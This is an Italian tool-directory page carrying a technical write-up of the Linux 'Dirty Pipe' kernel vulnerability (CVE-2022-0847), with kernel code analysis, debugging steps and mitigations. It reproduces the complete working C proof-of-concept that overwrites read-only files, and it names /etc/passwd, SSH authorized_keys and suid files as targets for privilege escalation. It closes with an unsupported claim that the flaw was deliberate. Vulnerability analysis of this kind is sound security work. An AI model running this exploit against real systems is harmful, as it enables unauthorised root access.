Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-0847 — CVE-2022-0847 POC e Docker e write-up di analisi | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2022-0847
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

CVE-2022-0847 POC e Docker e write-up di analisi

Vedi Repository
2574 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi dell'elevazione dei privilegi nel kernel Linux CVE-2022-0847 Dirty Pipe

[toc]

Questo articolo è stato pubblicato per la prima volta sul account pubblico WeChat di Huawei Security, questa è la versione blog (più completa)

Link originale: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Introduzione alla vulnerabilità

ID vulnerabilità: CVE-2022-0847 (alias: Dirty Pipe)

Prodotto affetto: kernel Linux - syscall splice

Versioni interessate: Linux 5.8 patch f6dd975583bd introdotta ~ riparata in 5.16.11, 5.15.25, 5.10.102

Danno: possibilità di scrivere fino a una pagina di contenuto (sufficiente) su qualsiasi file leggibile, consentendo l'elevazione locale dei privilegi.

Configurazione dell'ambiente

Docker per analisi vulnerabilità: chenaotian/cve-2022-0847 (se non ancora accessibile significa che non l'ho ancora caricato)

Fornisce:

  • Kernel compilato vulnerabile e debuggabile 5.13
  • qemu, gdb, sorgenti del kernel Linux 5.13
  • exp

Avvio:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Debug:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Principio della vulnerabilità

Il principio sintetico della vulnerabilità è che chiamando la funzione splice, è possibile inviare un file a una pipe in modalità "zero-copy". A livello di codice, la zero-copy consiste nell'utilizzare direttamente la cache di pagina del file (page cache) come pagina buf della pipe. Tuttavia, qui è stata introdotta una vulnerabilità di variabile non inizializzata, che consente di modificare successivamente la pagina della cache del file attraverso il canale pipe trattandola come una normale pagina pipe, permettendo così la sovrascrittura. In questa situazione, il kernel non considera questa pagina cache come "sporca" e non la scrive su disco per un breve periodo (fino al prossimo riavvio). Durante questo intervallo, tutti gli accessi a quel file utilizzeranno la pagina cache alterata, consentendo un'operazione di "scrittura arbitraria su qualsiasi file leggibile per un breve periodo". Ciò può portare all'elevazione locale dei privilegi.

Punto di occorrenza della vulnerabilità

Secondo la patch, il punto di occorrenza è nella funzione copy_page_to_iter_pipe, con l'aggiunta dell'inizializzazione di buf->flags. Quindi si tratta di una vulnerabilità di variabile non inizializzata.

image-20220308170149137

Il punto di chiamata di copy_page_to_iter_pipe si trova all'interno della chiamata di sistema splice. La funzione splice (chiamata di sistema) utilizza un metodo "zero-copy" per inviare il contenuto del file a una pipe, con prestazioni migliori rispetto al tradizionale invio diretto del contenuto del file. I dettagli verranno spiegati più avanti.

Principio della pipe e pipe_write

Innanzitutto, l'alias della vulnerabilità è "dirty pipe", quindi è utile comprendere la pipe. La pipe è un canale di comunicazione fornito dal kernel, creato tramite la funzione pipe/pipe2, che restituisce due descrittori di file: uno per inviare dati e l'altro per riceverli, simile a un tubo con due estremità. I dettagli d'uso non verranno approfonditi.

image-20220309124007780

Spiegazione breve dell'implementazione nel kernel: di solito, lo spazio totale della cache pipe è di 65536 byte, gestito in pagine, per un totale di 16 pagine (4096 byte ciascuna). Le pagine non sono contigue ma gestite tramite un array, formando una lista circolare. Vengono mantenuti due puntatori di lista: uno per scrivere (pipe->head) e uno per leggere (pipe->tail). Analizziamo principalmente la funzione pipe_write:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1] Se la cache pipe non è vuota, prova a scrivere "continuando" dall'ultima pagina corrente
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2] Chiave: se il flag PIPE_BUF_FLAG_CAN_MERGE è presente, la pagina consente la scrittura continua
             *Se la lunghezza da scrivere non supera la pagina, scrive in coda; altrimenti inizia una nuova pagina */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3] Se non si può continuare dall'ultima pagina, inizia una nuova pagina
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4] Alloca una nuova pagina
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Inserisce nell'array dei buffer */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5] Inserisce la nuova pagina nell'array di pagine
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6] Imposta il flag, per default PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7] Operazione di copia
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. Se la pipe corrente non è vuota (head==tail indica pipe vuota), significa che ci sono dati non ancora letti. Ottiene il puntatore head, cioè l'ultima pagina usata per scrivere, ne esamina len e offset (per trovare la fine dei dati). Quindi tenta di continuare a scrivere nella pagina corrente.
  2. Controlla se la pagina corrente ha il flag PIPE_BUF_FLAG_CAN_MERGE: se non presente, non consente la scrittura continua. Inoltre, se la concatenazione dei dati eccede una pagina (operazione di scrittura oltre i limiti di pagina), non può continuare.
  3. Se non può continuare dall'ultima pagina, inizia una nuova pagina.
  4. alloc_page alloca una nuova pagina.
  5. Posiziona la nuova pagina all'inizio dell'array (potrebbe sostituire una pagina esistente), inizializza i valori.
  6. buf->flag viene inizializzato per default a PIPE_BUF_FLAG_CAN_MERGE, perché per default la pagina consente la scrittura continua.
  7. Copia i dati scritti; se non finito, ripete le operazioni sopra.

La chiave per lo sfruttamento della vulnerabilità è il flag PIPE_BUF_FLAG_CAN_MERGE non inizializzato in splice, che determina se possiamo continuare a scrivere in una pagina pipe "non completamente scritta".

Da splice a copy_page_to_iter_pipe

Come menzionato, la pipe gestisce 16 pagine come cache. Il metodo zero-copy di splice consiste nel sostituire direttamente la pagina cache della pipe con la pagina cache del file (cambiando il puntatore della pagina cache della pipe verso la pagina cache del file).

image-20220309124515813

La chiamata di sistema splice fino alla funzione vulnerabile copy_page_to_iter_pipe ha una pila di chiamate profonda, non la analizzeremo in dettaglio. La pila è:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read default generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

La funzione copy_page_to_iter_pipe, dov'è la vulnerabilità, fa principalmente questo: reindirizza la struttura della pagina cache della pipe verso la pagina cache del file da trasferire:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1] Ottiene la corrispondente pagina cache pipe
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2] Modifica le informazioni della pagina cache pipe per puntare alla pagina cache del file
	get_page(page);
	buf->page = page;//[2] Il puntatore alla pagina ora punta alla pagina cache del file
	buf->offset = offset;//[2] offset, len ecc. vengono impostati in base alle informazioni correnti (dai parametri di splice)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. Prima, in base alla struttura circolare dell'array di pagine pipe, trova la posizione corrente del puntatore di scrittura (pipe->head).
  2. Reindirizza la pagina da scrivere alla pagina cache del file preparata, e imposta altre informazioni, come len determinato dai parametri della chiamata di sistema splice. Qui, il flag non viene inizializzato, creando la vulnerabilità.

Dopo l'inizializzazione tipica, pipe->bufs si presenta così:

image-20220308165052936

Ora, secondo il codice di pipe_write analizzato sopra, se chiamiamo di nuovo pipe_write per scrivere dati nella pipe, il puntatore di scrittura (pipe->head) punta alla pagina mostrata sopra, e il flag è PIPE_BUF_FLAG_CAN_MERGE, quindi verrà considerata come una pagina in cui si può continuare a scrivere, a condizione che la lunghezza non superi la pagina:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1] Se la cache pipe non è vuota, prova a scrivere "continuando" dall'ultima pagina corrente
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2] Chiave: se il flag PIPE_BUF_FLAG_CAN_MERGE è presente, la pagina consente la scrittura continua
                 *Se la lunghezza da scrivere non supera la pagina, scrive in coda; altrimenti inizia una nuova pagina */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Meccanismo della page cache del kernel Linux

Linux mette i file aperti in pagine cache; le pagine cache vengono conservate per un po' dopo l'uso per evitare I/O non necessari. In un breve intervallo, l'accesso allo stesso file comporta l'operazione sulla stessa pagina cache del file, non l'apertura ripetuta. Utilizzando questo metodo, alteriamo questa pagina cache del file, quindi per un breve periodo tutte le operazioni di accesso (lettura) a quel file leggeranno la pagina cache alterata, completando lo sfruttamento.

Sfruttamento della vulnerabilità

Come descritto sopra, il processo di sfruttamento è molto semplice: basta comprendere il principio della vulnerabilità. Secondo l'autore, si articola in questi passaggi:

  1. Creare una pipe.
  2. Riempire la pipe (tramite pipe_write), in modo che tutti i buf (pagine cache pipe) siano inizializzati, con flag di default PIPE_BUF_FLAG_CAN_MERGE.
  3. Svuotare la pipe (tramite pipe_read), in modo che quando si trasferisce un file tramite la chiamata di sistema splice, vengano utilizzate le strutture buf già inizializzate.
  4. Chiamare la funzione splice per trasferire il file che si vuole alterare nella pipe.
  5. Continuare a scrivere nella pipe (pipe_write): a questo punto si sovrascriverà la pagina cache del file, completando la modifica temporanea del file.

Dettagli di debug

Dopo il secondo passaggio (pipe riempita e poi svuotata), si può vedere che nella struttura bufs ci sono i dati da riutilizzare per il contenuto non inizializzato successivo:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

Dopo splice, quando il file viene trasferito, diventa così, con flag non inizializzato. Qui len deve essere impostato il più piccolo possibile, perché più piccolo è, maggiore sarà la lunghezza che potremo scrivere successivamente "continuando". Qui lo impostiamo a 1, l'offset è l'indirizzo di partenza che vogliamo alterare. Questo farà sì che pipe->bufs->page punti all'indirizzo di partenza:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

Un'altra pipe_write, soddisfa le condizioni di scrittura continua, scrive direttamente nella pagina:

image-20220308174556226

exp

Non è mio, proviene dalla divulgazione della vulnerabilità:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Elevazione dei privilegi riuscita:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Al momento viene mostrato l'effetto di scrittura arbitraria su file. Per uno sfruttamento pratico, si può modificare /etc/passwd, o la chiave ssh, o alcuni file suid, ecc., per completare l'elevazione effettiva dei privilegi. Non lo faremo qui (tanto non sto penetrando).

Alcune piccole limitazioni (non gravi)

  1. Impossibile modificare la dimensione del file (non si può ingrandire).
  2. La lunghezza di scrittura per singola operazione non può superare una pagina (4k).

Mitigazioni

Suggerimenti

Trattandosi di una vulnerabilità del kernel, non esiste una buona soluzione immediata. Si consiglia di aggiornare il kernel alla versione riparata: 5.16.11, 5.15.25, 5.10.102 o superiori.

Verifica della vulnerabilità (strumento)

Basandomi sul POC pubblicato dal divulgatore, ho scritto un semplice strumento di verifica. Se vulnerabile, stampa "There is CVE-2022-0847":

image-20220308202244668

Se non vulnerabile, stampa "You are safe!".

Riferimenti

Divulgazione della vulnerabilità: https://dirtypipe.cm4all.com/

Teoria del complotto

Il flag PIPE_BUF_FLAG_CAN_MERGE appare in totale 5 volte: una volta nella dichiarazione #define, due in pipe_write e le restanti due in splice:

image-20220308211006312

In base al codice che coinvolge questa variabile, il suo significato è se è consentito continuare a scrivere nell'ultima pagina cache della pipe. Una pagina allocata dalla pipe stessa è una pagina normale, continuare a scrivere è normale. Quando non è consentito continuare a scrivere? Quando la pagina non è stata allocata dalla pipe, non si può modificare arbitrariamente. Quindi, dallo stato attuale, quasi solo in splice si ha a che fare con pagine non allocate dalla pipe. In altre parole, il flag PIPE_BUF_FLAG_CAN_MERGE è stato progettato per splice. E poi mi dici che non lo inizializzi?

Quindi sospetto che questa vulnerabilità non sia affatto una svista...

Scarica lo strumento